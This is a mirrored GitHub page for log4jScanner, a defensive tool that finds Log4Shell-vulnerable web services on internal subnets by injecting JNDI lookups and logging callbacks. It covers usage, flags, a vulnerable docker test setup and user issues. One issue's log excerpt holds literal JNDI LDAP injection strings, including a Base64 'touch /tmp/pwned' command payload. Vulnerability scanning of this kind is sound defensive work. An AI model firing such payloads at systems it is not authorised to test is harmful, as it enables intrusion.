Giter Site home page Giter Site logo

proferosec / log4jscanner Goto Github PK

View Code? Open in Web Editor NEW
490.0 19.0 52.0 4.14 MB

log4jScanner provides the ability to scan internal subnets for vulnerable log4j web services

License: GNU General Public License v3.0

Makefile 4.82% Go 94.31% Dockerfile 0.55% Shell 0.32%

log4jscanner's Introduction

log4jScanner

image

Goals

This tool provides you with the ability to scan internal (only) subnets for vulnerable log4j web services. It will attempt to send a JNDI payload to each discovered web service (via the methods outlined below) to a list of common HTTP/S ports. For every response it receives, it will log the responding host IP so we can get a list of the vulnerable servers.

If there is a "SUCCESS", this means that some web service has received the request, was vulnerable to the log4j exploit and sent a request to our TCP server.

The tool does not send any exploits to the vulnerable hosts, and is designed to be as passive as possible.

Latest Release

Platform Binary Checksum
Windows log4jscanner-windows.zip SHA256
Linux log4jscanner-linux.zip SHA256
MacOS log4jscanner-darwin.zip SHA256

ChangeLog

version 0.3.3

  • added an option to scan a custom list of ports --ports=1555,3030,8000,8080,9003
  • added a --connect-timeout flag to control the time to wait for a response from each port while scanning
  • various bug fixes

Example

example

In this example we run the tool against the 192.168.1.59/29 subnet (which contains a vulnerable server).

The tools does the following:

  1. Open a server on the default address (the local IP at port 5555)
  2. POssibly, add the flag --ports=top100 to adjust the scan to include the top 100 ports
  3. The tool then tries all ports on each of the IP addresses in the subnet. If a remote server responds at one of the ports, the request is sent to it.
  4. If the server is vulnerable, a callback is made to our server (created on step 1) and the IP address of the remote is logged
  5. After all IP addresses in the subnet are scanned, the server waits for a default duration of 10s for any lingering connections and closes down
  6. The tools displays the summary of the connections made:
    1. Requests sent to responding remote servers (and the status code they responded with)
    2. Any callback address made to our server

Important Note about Assumptions

  • If a callback happened, this means that a vulnerable server exists, the exploit worked and it initiated a callback. However.
  • A good rule of thumb, if the callback IP address is not in the subnet scanned, the vulnerable server is behind a NAT (e.g. a docker container responds with its own IP address, not the host running the docker)
  • The network traffic created by the tool might be classified as malicious by security products, or cause a lot of noise for monitoring services
  • The server created by the tool assumes that it is open to receive inbound traffic. That means that opening a FW inbound rule on the host running the scan is needed.

Basic usage

Download the tool for your specific platform (Windows, Linux or Mac), to run the tool, make sure port 5555 on the host is available (or change it via configuration), and specify the subnet to scan (it is possible to configure a separate server:port combination using the --server flag):

log4jScanner.exe scan --cidr 192.168.7.0/24

This will test the top 10 HTTP\S ports on the hosts in the subnet, print any vulnerable hosts to the screen, and generate a log + summary CSV in the same location as the binary including all the attempts (both vulnerable and non-vulnerable).

In order to identify which hosts are vulnerable just look up the word SUCCESS in the log, you can grep the log for the keywork SUCCESS to get just the results. Also, the tool generates a CSV file containing all the results, filter on vulnerable to get the vulnerable hosts.

Additional usage options

You can use the tool to test for the top 100 HTTP\S ports, insert a single custom port, a range of ports, or a list of custom ports (limited up to 1024 ports).

log4jscanner.exe scan --cidr 192.168.7.0/24 --ports=top100
log4jscanner.exe scan --cidr 192.168.7.0/24 --ports=9000
log4jscanner.exe scan --cidr 192.168.7.0/24 --ports=9000:9005
log4jscanner.exe scan --cidr 192.168.7.0/24 --ports=1555,3030,8000,8080,9003

it is possible to use a non-default configuration for the callback server

log4jscanner.exe scan --cidr 192.168.7.0/24 --server=192.168.1.100:5000

if you wish to disable the callback server, use --noserver

Available flags

  • --nocolor provide output without color
  • --ports either top10 (default), top100 (list of the 100 most common web ports), a custom single port, a range of ports, or a list of custom ports
  • --noserver only scan, do not use a local callback server
  • --timeout=10 set the server shutdown timeout to 10 seconds
  • --connect-timeout=2000 set the response timeout for each scanned port to 2000 milliseconds

Methods Used

Currently, the tool uses the following areas to try and send an exploit:

  • Various X-* headers (we plan to enlarge these in the future)
  • URL parameter encoding
  • User-Agent

Test setup

In order to test your environment, you can use the included docker images to launch vulnerable applications.

Run the docker compose in here:

docker-compose up -d

This will provide you with a container vulnerable on port 8080 for HTTP and port 8443 for HTTPS.

Alternatively, you can also run this:

  1. Vuln. target:
    1. docker run --rm --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
  2. spin a server for incoming requests
    1. log4jScanner scanip --cidr DOCKER-SUBNET
  3. send a request to the target, with the server details
    1. sends a request to the vuln. target, with the callback details of the sever
    2. once gets a callback, logs the ip of the calling request

Contributions

We welcome contributions, please submit a PR or contact us via [email protected]

log4jscanner's People

Contributors

danysprof avatar gelossnake avatar guybarnhartmagen avatar hagarze avatar ido-guzi avatar scrapbird avatar xfreed0m avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

log4jscanner's Issues

Tool takes local APIPA address as server address

time="2021-12-12T18:40:04+02:00" level=debug msg="Target URL: http://192.168.23.203:2181"
time="2021-12-12T18:40:04+02:00" level=debug msg="Target User-Agent: ${jndi:ldap://169.254.146.118:5555/exploit.class}"
time="2021-12-12T18:40:04+02:00" level=debug msg="Target X-Api-Version: ${jndi:ldap://169.254.146.118:5555/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}"
time="2021-12-12T18:40:04+02:00" level=debug msg="Target URL: http://192.168.23.206:2181"
time="2021-12-12T18:40:04+02:00" level=debug msg="Target User-Agent: ${jndi:ldap://169.254.146.118:5555/exploit.class}"
ti

CSV output change

rename callback to vulnerable
remove requests entirely from CSV to make it easier to use

Update CSV during run

change the way the logging works to keep adding new records (and flushing) to the CSV file when we find them? this way we can check the CSV file during the tool run

creating 2 log files each run

on a single run the tool creates 2 log files:
log4jScanner--2021-12-19_154459.log
log4jScanner-192_168_23_0__24-2021-12-19_154459.log

APIPA and general question

Hi there, is that the normal behavior? and do I need to start a listener or just run the tool on the entire network and see what's vulnerable?

image

won't error (terminal nor log) on malformed IP

C:\Users\10\Desktop\log4jscanner-windows>log4jscanner.exe scan --cidr 172.26.208/28

                                                                        ██████  ██████   ██████  ███████ ███████ ██████   ██████
                                                                        ██   ██ ██   ██ ██    ██ ██      ██      ██   ██ ██    ██
                                                                        ██████  ██████  ██    ██ █████   █████   ██████  ██    ██
                                                                        ██      ██   ██ ██    ██ ██      ██      ██   ██ ██    ██
                                                                        ██      ██   ██  ██████  ██      ███████ ██   ██  ██████


                                                                                               log4jScanner
                                                                                             version: v0.1.3

INFO Scanning 0 addresses in 172.26.208/28

How to build v0.3.1?

Hello
Thanks for this tool! I like to build it myself, but for v0.3.1 I cannot see the source. Both 'main' and 'staging' result in v0.3.0.
Thanks, Peter

Add ability to pick TCP server port with a switch

in order to cover my network quickly enough it would be useful to be able to run multiple instances of this on different ports, especially if the list of IP ranges is implemented as I could split up the list too.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.